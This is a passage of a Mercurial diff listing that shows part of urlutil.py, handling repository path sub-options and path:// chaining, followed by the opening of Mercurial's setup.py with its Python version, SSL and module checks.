647 if not value:
648 continue
648 continue
649 _value, sub_opts = ui.configsuboptions(b'paths', name)
649 _value, sub_opts = ui.configsuboptions(b'paths', name)
650 s = ui.configsource(b'paths', name)
650 s = ui.configsource(b'paths', name)
651 root_key = (name, value, s)
651 root_key = (name, value, s)
652 root = ui._path_to_root.get(root_key, home_path)
652 root = ui._path_to_root.get(root_key, home_path)
653
653
654 multi_url = sub_opts.get(b'multi-urls')
654 multi_url = sub_opts.get(b'multi-urls')
655 if multi_url is not None and stringutil.parsebool(multi_url):
655 if multi_url is not None and stringutil.parsebool(multi_url):
656 base_locs = stringutil.parselist(value)
656 base_locs = stringutil.parselist(value)
657 else:
657 else:
658 base_locs = [value]
658 base_locs = [value]
659
659
660 paths = []
660 paths = []
661 for loc in base_locs:
661 for loc in base_locs:
662 loc = os.path.expandvars(loc)
662 loc = os.path.expandvars(loc)
663 loc = os.path.expanduser(loc)
663 loc = os.path.expanduser(loc)
664 if not hasscheme(loc) and not os.path.isabs(loc):
664 if not hasscheme(loc) and not os.path.isabs(loc):
665 loc = os.path.normpath(os.path.join(root, loc))
665 loc = os.path.normpath(os.path.join(root, loc))
666 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
666 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
667 paths.append(p)
667 paths.append(p)
668 self[name] = paths
668 self[name] = paths
669
669
670 for name, old_paths in sorted(self.items()):
670 for name, old_paths in sorted(self.items()):
671 new_paths = []
671 new_paths = []
672 for p in old_paths:
672 for p in old_paths:
673 new_paths.extend(_chain_path(p, ui, self))
673 new_paths.extend(_chain_path(p, ui, self))
674 self[name] = new_paths
674 self[name] = new_paths
675
675
676 def getpath(self, ui, name, default=None):
676 def getpath(self, ui, name, default=None):
677 """Return a ``path`` from a string, falling back to default.
677 """Return a ``path`` from a string, falling back to default.
678
678
679 ``name`` can be a named path or locations. Locations are filesystem
679 ``name`` can be a named path or locations. Locations are filesystem
680 paths or URIs.
680 paths or URIs.
681
681
682 Returns None if ``name`` is not a registered path, a URI, or a local
682 Returns None if ``name`` is not a registered path, a URI, or a local
683 path to a repo.
683 path to a repo.
684 """
684 """
685 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
685 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
686 ui.deprecwarn(msg, b'6.0')
686 ui.deprecwarn(msg, b'6.0')
687 # Only fall back to default if no path was requested.
687 # Only fall back to default if no path was requested.
688 if name is None:
688 if name is None:
689 if not default:
689 if not default:
690 default = ()
690 default = ()
691 elif not isinstance(default, (tuple, list)):
691 elif not isinstance(default, (tuple, list)):
692 default = (default,)
692 default = (default,)
693 for k in default:
693 for k in default:
694 try:
694 try:
695 return self[k][0]
695 return self[k][0]
696 except KeyError:
696 except KeyError:
697 continue
697 continue
698 return None
698 return None
699
699
700 # Most likely empty string.
700 # Most likely empty string.
701 # This may need to raise in the future.
701 # This may need to raise in the future.
702 if not name:
702 if not name:
703 return None
703 return None
704 if name in self:
704 if name in self:
705 return self[name][0]
705 return self[name][0]
706 else:
706 else:
707 # Try to resolve as a local path or URI.
707 # Try to resolve as a local path or URI.
708 path = try_path(ui, name)
708 path = try_path(ui, name)
709 if path is None:
709 if path is None:
710 raise error.RepoError(_(b'repository %s does not exist') % name)
710 raise error.RepoError(_(b'repository %s does not exist') % name)
711 return path.rawloc
711 return path.rawloc
712
712
713
713
714 _pathsuboptions = {}
714 _pathsuboptions = {}
715
715
716
716
717 def pathsuboption(option, attr):
717 def pathsuboption(option, attr):
718 """Decorator used to declare a path sub-option.
718 """Decorator used to declare a path sub-option.
719
719
720 Arguments are the sub-option name and the attribute it should set on
720 Arguments are the sub-option name and the attribute it should set on
721 ``path`` instances.
721 ``path`` instances.
722
722
723 The decorated function will receive as arguments a ``ui`` instance,
723 The decorated function will receive as arguments a ``ui`` instance,
724 ``path`` instance, and the string value of this option from the config.
724 ``path`` instance, and the string value of this option from the config.
725 The function should return the value that will be set on the ``path``
725 The function should return the value that will be set on the ``path``
726 instance.
726 instance.
727
727
728 This decorator can be used to perform additional verification of
728 This decorator can be used to perform additional verification of
729 sub-options and to change the type of sub-options.
729 sub-options and to change the type of sub-options.
730 """
730 """
731
731
732 def register(func):
732 def register(func):
733 _pathsuboptions[option] = (attr, func)
733 _pathsuboptions[option] = (attr, func)
734 return func
734 return func
735
735
736 return register
736 return register
737
737
738
738
739 @pathsuboption(b'pushurl', b'pushloc')
739 @pathsuboption(b'pushurl', b'pushloc')
740 def pushurlpathoption(ui, path, value):
740 def pushurlpathoption(ui, path, value):
741 u = url(value)
741 u = url(value)
742 # Actually require a URL.
742 # Actually require a URL.
743 if not u.scheme:
743 if not u.scheme:
744 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
744 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
745 msg %= (path.name, value)
745 msg %= (path.name, value)
746 ui.warn(msg)
746 ui.warn(msg)
747 return None
747 return None
748
748
749 # Don't support the #foo syntax in the push URL to declare branch to
749 # Don't support the #foo syntax in the push URL to declare branch to
750 # push.
750 # push.
751 if u.fragment:
751 if u.fragment:
752 ui.warn(
752 ui.warn(
753 _(
753 _(
754 b'("#fragment" in paths.%s:pushurl not supported; '
754 b'("#fragment" in paths.%s:pushurl not supported; '
755 b'ignoring)\n'
755 b'ignoring)\n'
756 )
756 )
757 % path.name
757 % path.name
758 )
758 )
759 u.fragment = None
759 u.fragment = None
760
760
761 return bytes(u)
761 return bytes(u)
762
762
763
763
764 @pathsuboption(b'pushrev', b'pushrev')
764 @pathsuboption(b'pushrev', b'pushrev')
765 def pushrevpathoption(ui, path, value):
765 def pushrevpathoption(ui, path, value):
766 return value
766 return value
767
767
768
768
769 SUPPORTED_BOOKMARKS_MODES = {
769 SUPPORTED_BOOKMARKS_MODES = {
770 b'default',
770 b'default',
771 b'mirror',
771 b'mirror',
772 b'ignore',
772 b'ignore',
773 }
773 }
774
774
775
775
776 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
776 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
777 def bookmarks_mode_option(ui, path, value):
777 def bookmarks_mode_option(ui, path, value):
778 if value not in SUPPORTED_BOOKMARKS_MODES:
778 if value not in SUPPORTED_BOOKMARKS_MODES:
779 path_name = path.name
779 path_name = path.name
780 if path_name is None:
780 if path_name is None:
781 # this is an "anonymous" path, config comes from the global one
781 # this is an "anonymous" path, config comes from the global one
782 path_name = b'*'
782 path_name = b'*'
783 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
783 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
784 msg %= (path_name, value)
784 msg %= (path_name, value)
785 ui.warn(msg)
785 ui.warn(msg)
786 if value == b'default':
786 if value == b'default':
787 value = None
787 value = None
788 return value
788 return value
789
789
790
790
791 @pathsuboption(b'multi-urls', b'multi_urls')
791 @pathsuboption(b'multi-urls', b'multi_urls')
792 def multiurls_pathoption(ui, path, value):
792 def multiurls_pathoption(ui, path, value):
793 res = stringutil.parsebool(value)
793 res = stringutil.parsebool(value)
794 if res is None:
794 if res is None:
795 ui.warn(
795 ui.warn(
796 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
796 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
797 )
797 )
798 res = False
798 res = False
799 return res
799 return res
800
800
801
801
802 def _chain_path(base_path, ui, paths):
802 def _chain_path(base_path, ui, paths):
803 """return the result of "path://" logic applied on a given path"""
803 """return the result of "path://" logic applied on a given path"""
804 new_paths = []
804 new_paths = []
805 if base_path.url.scheme != b'path':
805 if base_path.url.scheme != b'path':
806 new_paths.append(base_path)
806 new_paths.append(base_path)
807 else:
807 else:
808 assert base_path.url.path is None
808 assert base_path.url.path is None
809 sub_paths = paths.get(base_path.url.host)
809 sub_paths = paths.get(base_path.url.host)
810 if sub_paths is None:
810 if sub_paths is None:
811 m = _(b'cannot use `%s`, "%s" is not a known path')
811 m = _(b'cannot use `%s`, "%s" is not a known path')
812 m %= (base_path.rawloc, base_path.url.host)
812 m %= (base_path.rawloc, base_path.url.host)
813 raise error.Abort(m)
813 raise error.Abort(m)
814 for subpath in sub_paths:
814 for subpath in sub_paths:
815 path = base_path.copy()
815 path = base_path.copy()
816 if subpath.raw_url.scheme == b'path':
816 if subpath.raw_url.scheme == b'path':
817 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
817 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
818 m %= (path.rawloc, path.url.host)
818 m %= (path.rawloc, path.url.host)
819 raise error.Abort(m)
819 raise error.Abort(m)
820 path.url = subpath.url
820 path.url = subpath.url
821 path.rawloc = subpath.rawloc
821 path.rawloc = subpath.rawloc
822 path.loc = subpath.loc
822 path.loc = subpath.loc
823 if path.branch is None:
823 if path.branch is None:
824 path.branch = subpath.branch
824 path.branch = subpath.branch
825 else:
825 else:
826 base = path.rawloc.rsplit(b'#', 1)[0]
826 base = path.rawloc.rsplit(b'#', 1)[0]
827 path.rawloc = b'%s#%s' % (base, path.branch)
827 path.rawloc = b'%s#%s' % (base, path.branch)
828 suboptions = subpath._all_sub_opts.copy()
828 suboptions = subpath._all_sub_opts.copy()
829 suboptions.update(path._own_sub_opts)
829 suboptions.update(path._own_sub_opts)
830 path._apply_suboptions(ui, suboptions)
830 path._apply_suboptions(ui, suboptions)
831 new_paths.append(path)
831 new_paths.append(path)
832 return new_paths
832 return new_paths
833
833
834
834
835 class path(object):
835 class path(object):
836 """Represents an individual path and its configuration."""
836 """Represents an individual path and its configuration."""
837
837
838 def __init__(
838 def __init__(
839 self,
839 self,
840 ui=None,
840 ui=None,
841 name=None,
841 name=None,
842 rawloc=None,
842 rawloc=None,
843 suboptions=None,
843 suboptions=None,
844 validate_path=True,
844 validate_path=True,
845 ):
845 ):
846 """Construct a path from its config options.
846 """Construct a path from its config options.
847
847
848 ``ui`` is the ``ui`` instance the path is coming from.
848 ``ui`` is the ``ui`` instance the path is coming from.
849 ``name`` is the symbolic name of the path.
849 ``name`` is the symbolic name of the path.
850 ``rawloc`` is the raw location, as defined in the config.
850 ``rawloc`` is the raw location, as defined in the config.
851 ``pushloc`` is the raw locations pushes should be made to.
851 ``pushloc`` is the raw locations pushes should be made to.
852
852
853 If ``name`` is not defined, we require that the location be a) a local
853 If ``name`` is not defined, we require that the location be a) a local
854 filesystem path with a .hg directory or b) a URL. If not,
854 filesystem path with a .hg directory or b) a URL. If not,
855 ``ValueError`` is raised.
855 ``ValueError`` is raised.
856 """
856 """
857 if ui is None:
857 if ui is None:
858 # used in copy
858 # used in copy
859 assert name is None
859 assert name is None
860 assert rawloc is None
860 assert rawloc is None
861 assert suboptions is None
861 assert suboptions is None
862 return
862 return
863
863
864 if not rawloc:
864 if not rawloc:
865 raise ValueError(b'rawloc must be defined')
865 raise ValueError(b'rawloc must be defined')
866
866
867 # Locations may define branches via syntax <base>#<branch>.
867 # Locations may define branches via syntax <base>#<branch>.
868 u = url(rawloc)
868 u = url(rawloc)
869 branch = None
869 branch = None
870 if u.fragment:
870 if u.fragment:
871 branch = u.fragment
871 branch = u.fragment
872 u.fragment = None
872 u.fragment = None
873
873
874 self.url = u
874 self.url = u
875 # the url from the config/command line before dealing with `path://`
875 # the url from the config/command line before dealing with `path://`
876 self.raw_url = u.copy()
876 self.raw_url = u.copy()
877 self.branch = branch
877 self.branch = branch
878
878
879 self.name = name
879 self.name = name
880 self.rawloc = rawloc
880 self.rawloc = rawloc
881 self.loc = b'%s' % u
881 self.loc = b'%s' % u
882
882
883 if validate_path:
883 if validate_path:
884 self._validate_path()
884 self._validate_path()
885
885
886 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
886 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
887 self._own_sub_opts = {}
887 self._own_sub_opts = {}
888 if suboptions is not None:
888 if suboptions is not None:
889 self._own_sub_opts = suboptions.copy()
889 self._own_sub_opts = suboptions.copy()
890 sub_opts.update(suboptions)
890 sub_opts.update(suboptions)
891 self._all_sub_opts = sub_opts.copy()
891 self._all_sub_opts = sub_opts.copy()
892
892
893 self._apply_suboptions(ui, sub_opts)
893 self._apply_suboptions(ui, sub_opts)
894
894
895 def copy(self):
895 def copy(self):
896 """make a copy of this path object"""
896 """make a copy of this path object"""
897 new = self.__class__()
897 new = self.__class__()
898 for k, v in self.__dict__.items():
898 for k, v in self.__dict__.items():
899 new_copy = getattr(v, 'copy', None)
899 new_copy = getattr(v, 'copy', None)
900 if new_copy is not None:
900 if new_copy is not None:
901 v = new_copy()
901 v = new_copy()
902 new.__dict__[k] = v
902 new.__dict__[k] = v
903 return new
903 return new
904
904
905 def _validate_path(self):
905 def _validate_path(self):
906 # When given a raw location but not a symbolic name, validate the
906 # When given a raw location but not a symbolic name, validate the
907 # location is valid.
907 # location is valid.
908 if (
908 if (
909 not self.name
909 not self.name
910 and not self.url.scheme
910 and not self.url.scheme
911 and not self._isvalidlocalpath(self.loc)
911 and not self._isvalidlocalpath(self.loc)
912 ):
912 ):
913 raise ValueError(
913 raise ValueError(
914 b'location is not a URL or path to a local '
914 b'location is not a URL or path to a local '
915 b'repo: %s' % self.rawloc
915 b'repo: %s' % self.rawloc
916 )
916 )
917
917
918 def _apply_suboptions(self, ui, sub_options):
918 def _apply_suboptions(self, ui, sub_options):
919 # Now process the sub-options. If a sub-option is registered, its
919 # Now process the sub-options. If a sub-option is registered, its
920 # attribute will always be present. The value will be None if there
920 # attribute will always be present. The value will be None if there
921 # was no valid sub-option.
921 # was no valid sub-option.
922 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
922 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
923 if suboption not in sub_options:
923 if suboption not in sub_options:
924 setattr(self, attr, None)
924 setattr(self, attr, None)
925 continue
925 continue
926
926
927 value = func(ui, self, sub_options[suboption])
927 value = func(ui, self, sub_options[suboption])
928 setattr(self, attr, value)
928 setattr(self, attr, value)
929
929
930 def _isvalidlocalpath(self, path):
930 def _isvalidlocalpath(self, path):
931 """Returns True if the given path is a potentially valid repository.
931 """Returns True if the given path is a potentially valid repository.
932 This is its own function so that extensions can change the definition of
932 This is its own function so that extensions can change the definition of
933 'valid' in this case (like when pulling from a git repo into a hg
933 'valid' in this case (like when pulling from a git repo into a hg
934 one)."""
934 one)."""
935 try:
935 try:
936 return os.path.isdir(os.path.join(path, b'.hg'))
936 return os.path.isdir(os.path.join(path, b'.hg'))
937 # Python 2 may return TypeError. Python 3, ValueError.
937 # Python 2 may return TypeError. Python 3, ValueError.
938 except (TypeError, ValueError):
938 except (TypeError, ValueError):
939 return False
939 return False
940
940
941 @property
941 @property
942 def suboptions(self):
942 def suboptions(self):
943 """Return sub-options and their values for this path.
943 """Return sub-options and their values for this path.
944
944
945 This is intended to be used for presentation purposes.
945 This is intended to be used for presentation purposes.
946 """
946 """
947 d = {}
947 d = {}
948 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
948 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
949 value = getattr(self, attr)
949 value = getattr(self, attr)
950 if value is not None:
950 if value is not None:
951 d[subopt] = value
951 d[subopt] = value
952 return d
952 return d
@@ -1,1858 +1,1858 b''
1 #
1 #
2 # This is the mercurial setup script.
2 # This is the mercurial setup script.
3 #
3 #
4 # 'python setup.py install', or
4 # 'python setup.py install', or
5 # 'python setup.py --help' for more options
5 # 'python setup.py --help' for more options
6 import os
6 import os
7
7
8 # Mercurial will never work on Python 3 before 3.5 due to a lack
8 # Mercurial will never work on Python 3 before 3.5 due to a lack
9 # of % formatting on bytestrings, and can't work on 3.6.0 or 3.6.1
9 # of % formatting on bytestrings, and can't work on 3.6.0 or 3.6.1
10 # due to a bug in % formatting in bytestrings.
10 # due to a bug in % formatting in bytestrings.
11 # We cannot support Python 3.5.0, 3.5.1, 3.5.2 because of bug in
11 # We cannot support Python 3.5.0, 3.5.1, 3.5.2 because of bug in
12 # codecs.escape_encode() where it raises SystemError on empty bytestring
12 # codecs.escape_encode() where it raises SystemError on empty bytestring
13 # bug link: https://bugs.python.org/issue25270
13 # bug link: https://bugs.python.org/issue25270
14 supportedpy = ','.join(
14 supportedpy = ','.join(
15 [
15 [
16 '>=2.7.4',
16 '>=2.7.4',
17 '!=3.0.*',
17 '!=3.0.*',
18 '!=3.1.*',
18 '!=3.1.*',
19 '!=3.2.*',
19 '!=3.2.*',
20 '!=3.3.*',
20 '!=3.3.*',
21 '!=3.4.*',
21 '!=3.4.*',
22 '!=3.5.0',
22 '!=3.5.0',
23 '!=3.5.1',
23 '!=3.5.1',
24 '!=3.5.2',
24 '!=3.5.2',
25 '!=3.6.0',
25 '!=3.6.0',
26 '!=3.6.1',
26 '!=3.6.1',
27 ]
27 ]
28 )
28 )
29
29
30 import sys, platform
30 import sys, platform
31 import sysconfig
31 import sysconfig
32
32
33 if sys.version_info[0] >= 3:
33 if sys.version_info[0] >= 3:
34 printf = eval('print')
34 printf = eval('print')
35 libdir_escape = 'unicode_escape'
35 libdir_escape = 'unicode_escape'
36
36
37 def sysstr(s):
37 def sysstr(s):
38 return s.decode('latin-1')
38 return s.decode('latin-1')
39
39
40
40
41 else:
41 else:
42 libdir_escape = 'string_escape'
42 libdir_escape = 'string_escape'
43
43
44 def printf(*args, **kwargs):
44 def printf(*args, **kwargs):
45 f = kwargs.get('file', sys.stdout)
45 f = kwargs.get('file', sys.stdout)
46 end = kwargs.get('end', '\n')
46 end = kwargs.get('end', '\n')
47 f.write(b' '.join(args) + end)
47 f.write(b' '.join(args) + end)
48
48
49 def sysstr(s):
49 def sysstr(s):
50 return s
50 return s
51
51
52
52
53 # Attempt to guide users to a modern pip - this means that 2.6 users
53 # Attempt to guide users to a modern pip - this means that 2.6 users
54 # should have a chance of getting a 4.2 release, and when we ratchet
54 # should have a chance of getting a 4.2 release, and when we ratchet
55 # the version requirement forward again hopefully everyone will get
55 # the version requirement forward again hopefully everyone will get
56 # something that works for them.
56 # something that works for them.
57 if sys.version_info < (2, 7, 4, 'final'):
57 if sys.version_info < (2, 7, 4, 'final'):
58 pip_message = (
58 pip_message = (
59 'This may be due to an out of date pip. '
59 'This may be due to an out of date pip. '
60 'Make sure you have pip >= 9.0.1.'
60 'Make sure you have pip >= 9.0.1.'
61 )
61 )
62 try:
62 try:
63 import pip
63 import pip
64
64
65 pip_version = tuple([int(x) for x in pip.__version__.split('.')[:3]])
65 pip_version = tuple([int(x) for x in pip.__version__.split('.')[:3]])
66 if pip_version < (9, 0, 1):
66 if pip_version < (9, 0, 1):
67 pip_message = (
67 pip_message = (
68 'Your pip version is out of date, please install '
68 'Your pip version is out of date, please install '
69 'pip >= 9.0.1. pip {} detected.'.format(pip.__version__)
69 'pip >= 9.0.1. pip {} detected.'.format(pip.__version__)
70 )
70 )
71 else:
71 else:
72 # pip is new enough - it must be something else
72 # pip is new enough - it must be something else
73 pip_message = ''
73 pip_message = ''
74 except Exception:
74 except Exception:
75 pass
75 pass
76 error = """
76 error = """
77 Mercurial does not support Python older than 2.7.4.
77 Mercurial does not support Python older than 2.7.4.
78 Python {py} detected.
78 Python {py} detected.
79 {pip}
79 {pip}
80 """.format(
80 """.format(
81 py=sys.version_info, pip=pip_message
81 py=sys.version_info, pip=pip_message
82 )
82 )
83 printf(error, file=sys.stderr)
83 printf(error, file=sys.stderr)
84 sys.exit(1)
84 sys.exit(1)
85
85
86 import ssl
86 import ssl
87
87
88 try:
88 try:
89 ssl.SSLContext
89 ssl.SSLContext
90 except AttributeError:
90 except AttributeError:
91 error = """
91 error = """
92 The `ssl` module does not have the `SSLContext` class. This indicates an old
92 The `ssl` module does not have the `SSLContext` class. This indicates an old
93 Python version which does not support modern security features (which were
93 Python version which does not support modern security features (which were
94 added to Python 2.7 as part of "PEP 466"). Please make sure you have installed
94 added to Python 2.7 as part of "PEP 466"). Please make sure you have installed
95 at least Python 2.7.9 or a Python version with backports of these security
95 at least Python 2.7.9 or a Python version with backports of these security
96 features.
96 features.
97 """
97 """
98 printf(error, file=sys.stderr)
98 printf(error, file=sys.stderr)
99 sys.exit(1)
99 sys.exit(1)
100
100
101 # ssl.HAS_TLSv1* are preferred to check support but they were added in Python
101 # ssl.HAS_TLSv1* are preferred to check support but they were added in Python
102 # 3.7. Prior to CPython commit 6e8cda91d92da72800d891b2fc2073ecbc134d98
102 # 3.7. Prior to CPython commit 6e8cda91d92da72800d891b2fc2073ecbc134d98
103 # (backported to the 3.7 branch), ssl.PROTOCOL_TLSv1_1 / ssl.PROTOCOL_TLSv1_2
103 # (backported to the 3.7 branch), ssl.PROTOCOL_TLSv1_1 / ssl.PROTOCOL_TLSv1_2
104 # were defined only if compiled against a OpenSSL version with TLS 1.1 / 1.2
104 # were defined only if compiled against a OpenSSL version with TLS 1.1 / 1.2
105 # support. At the mentioned commit, they were unconditionally defined.
105 # support. At the mentioned commit, they were unconditionally defined.
106 _notset = object()
106 _notset = object()
107 has_tlsv1_1 = getattr(ssl, 'HAS_TLSv1_1', _notset)
107 has_tlsv1_1 = getattr(ssl, 'HAS_TLSv1_1', _notset)
108 if has_tlsv1_1 is _notset:
108 if has_tlsv1_1 is _notset:
109 has_tlsv1_1 = getattr(ssl, 'PROTOCOL_TLSv1_1', _notset) is not _notset
109 has_tlsv1_1 = getattr(ssl, 'PROTOCOL_TLSv1_1', _notset) is not _notset
110 has_tlsv1_2 = getattr(ssl, 'HAS_TLSv1_2', _notset)
110 has_tlsv1_2 = getattr(ssl, 'HAS_TLSv1_2', _notset)
111 if has_tlsv1_2 is _notset:
111 if has_tlsv1_2 is _notset:
112 has_tlsv1_2 = getattr(ssl, 'PROTOCOL_TLSv1_2', _notset) is not _notset
112 has_tlsv1_2 = getattr(ssl, 'PROTOCOL_TLSv1_2', _notset) is not _notset
113 if not (has_tlsv1_1 or has_tlsv1_2):
113 if not (has_tlsv1_1 or has_tlsv1_2):
114 error = """
114 error = """
115 The `ssl` module does not advertise support for TLS 1.1 or TLS 1.2.
115 The `ssl` module does not advertise support for TLS 1.1 or TLS 1.2.
116 Please make sure that your Python installation was compiled against an OpenSSL
116 Please make sure that your Python installation was compiled against an OpenSSL
117 version enabling these features (likely this requires the OpenSSL version to
117 version enabling these features (likely this requires the OpenSSL version to
118 be at least 1.0.1).
118 be at least 1.0.1).
119 """
119 """
120 printf(error, file=sys.stderr)
120 printf(error, file=sys.stderr)
121 sys.exit(1)
121 sys.exit(1)
122
122
123 if sys.version_info[0] >= 3:
123 if sys.version_info[0] >= 3:
124 DYLIB_SUFFIX = sysconfig.get_config_vars()['EXT_SUFFIX']
124 DYLIB_SUFFIX = sysconfig.get_config_vars()['EXT_SUFFIX']
125 else:
125 else:
126 # deprecated in Python 3
126 # deprecated in Python 3
127 DYLIB_SUFFIX = sysconfig.get_config_vars()['SO']
127 DYLIB_SUFFIX = sysconfig.get_config_vars()['SO']
128
128
129 # Solaris Python packaging brain damage
129 # Solaris Python packaging brain damage
130 try:
130 try:
131 import hashlib
131 import hashlib
132
132
133 sha = hashlib.sha1()
133 sha = hashlib.sha1()
134 except ImportError:
134 except ImportError:
135 try:
135 try:
136 import sha
136 import sha
137
137
138 sha.sha # silence unused import warning
138 sha.sha # silence unused import warning
139 except ImportError:
139 except ImportError:
140 raise SystemExit(
140 raise SystemExit(
141 "Couldn't import standard hashlib (incomplete Python install)."
141 "Couldn't import standard hashlib (incomplete Python install)."
142 )
142 )
143
143
144 try:
144 try:
145 import zlib
145 import zlib
146
146
147 zlib.compressobj # silence unused import warning
147 zlib.compressobj # silence unused import warning
148 except ImportError:
148 except ImportError:
149 raise SystemExit(
149 raise SystemExit(
150 "Couldn't import standard zlib (incomplete Python install)."
150 "Couldn't import standard zlib (incomplete Python install)."
151 )
151 )
152
152
153 # The base IronPython distribution (as of 2.7.1) doesn't support bz2
153 # The base IronPython distribution (as of 2.7.1) doesn't support bz2
154 isironpython = False
154 isironpython = False
155 try:
155 try:
156 isironpython = (
156 isironpython = (
157 platform.python_implementation().lower().find("ironpython") != -1
157 platform.python_implementation().lower().find("ironpython") != -1
158 )
158 )
159 except AttributeError:
159 except AttributeError:
160 pass
160 pass
161
161
162 if isironpython:
162 if isironpython:
163 sys.stderr.write("warning: IronPython detected (no bz2 support)\n")
163 sys.stderr.write("warning: IronPython detected (no bz2 support)\n")
164 else:
164 else:
165 try:
165 try:
166 import bz2
166 import bz2
167
167
168 bz2.BZ2Compressor # silence unused import warning
168 bz2.BZ2Compressor # silence unused import warning
169 except ImportError:
169 except ImportError:
170 raise SystemExit(
170 raise SystemExit(
171 "Couldn't import standard bz2 (incomplete Python install)."
171 "Couldn't import standard bz2 (incomplete Python install)."
172 )
172 )
173
173
174 ispypy = "PyPy" in sys.version
174 ispypy = "PyPy" in sys.version
175
175
176 import ctypes
176 import ctypes
177 import errno
177 import errno
178 import stat, subprocess, time
178 import stat, subprocess, time
179 import re
179 import re
180 import shutil
180 import shutil
181 import tempfile
181 import tempfile
182
182
183 # We have issues with setuptools on some platforms and builders. Until
183 # We have issues with setuptools on some platforms and builders. Until
184 # those are resolved, setuptools is opt-in except for platforms where
184 # those are resolved, setuptools is opt-in except for platforms where
185 # we don't have issues.
185 # we don't have issues.
186 issetuptools = os.name == 'nt' or 'FORCE_SETUPTOOLS' in os.environ
186 issetuptools = os.name == 'nt' or 'FORCE_SETUPTOOLS' in os.environ
187 if issetuptools:
187 if issetuptools:
188 from setuptools import setup
188 from setuptools import setup
189 else:
189 else:
190 from distutils.core import setup
190 from distutils.core import setup
191 from distutils.ccompiler import new_compiler
191 from distutils.ccompiler import new_compiler
192 from distutils.core import Command, Extension
192 from distutils.core import Command, Extension
193 from distutils.dist import Distribution
193 from distutils.dist import Distribution
194 from distutils.command.build import build
194 from distutils.command.build import build
195 from distutils.command.build_ext import build_ext
195 from distutils.command.build_ext import build_ext
196 from distutils.command.build_py import build_py
196 from distutils.command.build_py import build_py
197 from distutils.command.build_scripts import build_scripts
197 from distutils.command.build_scripts import build_scripts
198 from distutils.command.install import install
198 from distutils.command.install import install
199 from distutils.command.install_lib import install_lib
199 from distutils.command.install_lib import install_lib
200 from distutils.command.install_scripts import install_scripts
200 from distutils.command.install_scripts import install_scripts
201 from distutils import log
201 from distutils import log
202 from distutils.spawn import spawn, find_executable
202 from distutils.spawn import spawn, find_executable
203 from distutils import file_util
203 from distutils import file_util
204 from distutils.errors import (
204 from distutils.errors import (
205 CCompilerError,
205 CCompilerError,
206 DistutilsError,
206 DistutilsError,
207 DistutilsExecError,
207 DistutilsExecError,
208 )
208 )
209 from distutils.sysconfig import get_python_inc, get_config_var
209 from distutils.sysconfig import get_python_inc, get_config_var
210 from distutils.version import StrictVersion
210 from distutils.version import StrictVersion
211
211
212 # Explain to distutils.StrictVersion how our release candidates are versioned
212 # Explain to distutils.StrictVersion how our release candidates are versioned
213 StrictVersion.version_re = re.compile(r'^(\d+)\.(\d+)(\.(\d+))?-?(rc(\d+))?$')
213 StrictVersion.version_re = re.compile(r'^(\d+)\.(\d+)(\.(\d+))?-?(rc(\d+))?$')
214
214
215
215
216 def write_if_changed(path, content):
216 def write_if_changed(path, content):
217 """Write content to a file iff the content hasn't changed."""
217 """Write content to a file iff the content hasn't changed."""
218 if os.path.exists(path):
218 if os.path.exists(path):
219 with open(path, 'rb') as fh:
219 with open(path, 'rb') as fh:
220 current = fh.read()
220 current = fh.read()
221 else:
221 else:
222 current = b''
222 current = b''
223
223
224 if current != content:
224 if current != content:
225 with open(path, 'wb') as fh:
225 with open(path, 'wb') as fh:
226 fh.write(content)
226 fh.write(content)
227
227
228
228
229 scripts = ['hg']
229 scripts = ['hg']
230 if os.name == 'nt':
230 if os.name == 'nt':
231 # We remove hg.bat if we are able to build hg.exe.
231 # We remove hg.bat if we are able to build hg.exe.
232 scripts.append('contrib/win32/hg.bat')
232 scripts.append('contrib/win32/hg.bat')
233
233
234
234
235 def cancompile(cc, code):
235 def cancompile(cc, code):
236 tmpdir = tempfile.mkdtemp(prefix='hg-install-')
236 tmpdir = tempfile.mkdtemp(prefix='hg-install-')
237 devnull = oldstderr = None
237 devnull = oldstderr = None
238 try:
238 try:
239 fname = os.path.join(tmpdir, 'testcomp.c')
239 fname = os.path.join(tmpdir, 'testcomp.c')
240 f = open(fname, 'w')
240 f = open(fname, 'w')
241 f.write(code)
241 f.write(code)
242 f.close()
242 f.close()
243 # Redirect stderr to /dev/null to hide any error messages
243 # Redirect stderr to /dev/null to hide any error messages
244 # from the compiler.
244 # from the compiler.
245 # This will have to be changed if we ever have to check
245 # This will have to be changed if we ever have to check
246 # for a function on Windows.
246 # for a function on Windows.
247 devnull = open('/dev/null', 'w')
247 devnull = open('/dev/null', 'w')
248 oldstderr = os.dup(sys.stderr.fileno())
248 oldstderr = os.dup(sys.stderr.fileno())
249 os.dup2(devnull.fileno(), sys.stderr.fileno())
249 os.dup2(devnull.fileno(), sys.stderr.fileno())
250 objects = cc.compile([fname], output_dir=tmpdir)
250 objects = cc.compile([fname], output_dir=tmpdir)
251 cc.link_executable(objects, os.path.join(tmpdir, "a.out"))
251 cc.link_executable(objects, os.path.join(tmpdir, "a.out"))
252 return True
252 return True
253 except Exception:
253 except Exception:
254 return False
254 return False
255 finally:
255 finally:
256 if oldstderr is not None:
256 if oldstderr is not None:
257 os.dup2(oldstderr, sys.stderr.fileno())
257 os.dup2(oldstderr, sys.stderr.fileno())
258 if devnull is not None:
258 if devnull is not None:
259 devnull.close()
259 devnull.close()
260 shutil.rmtree(tmpdir)
260 shutil.rmtree(tmpdir)
261
261
262
262
263 # simplified version of distutils.ccompiler.CCompiler.has_function
263 # simplified version of distutils.ccompiler.CCompiler.has_function
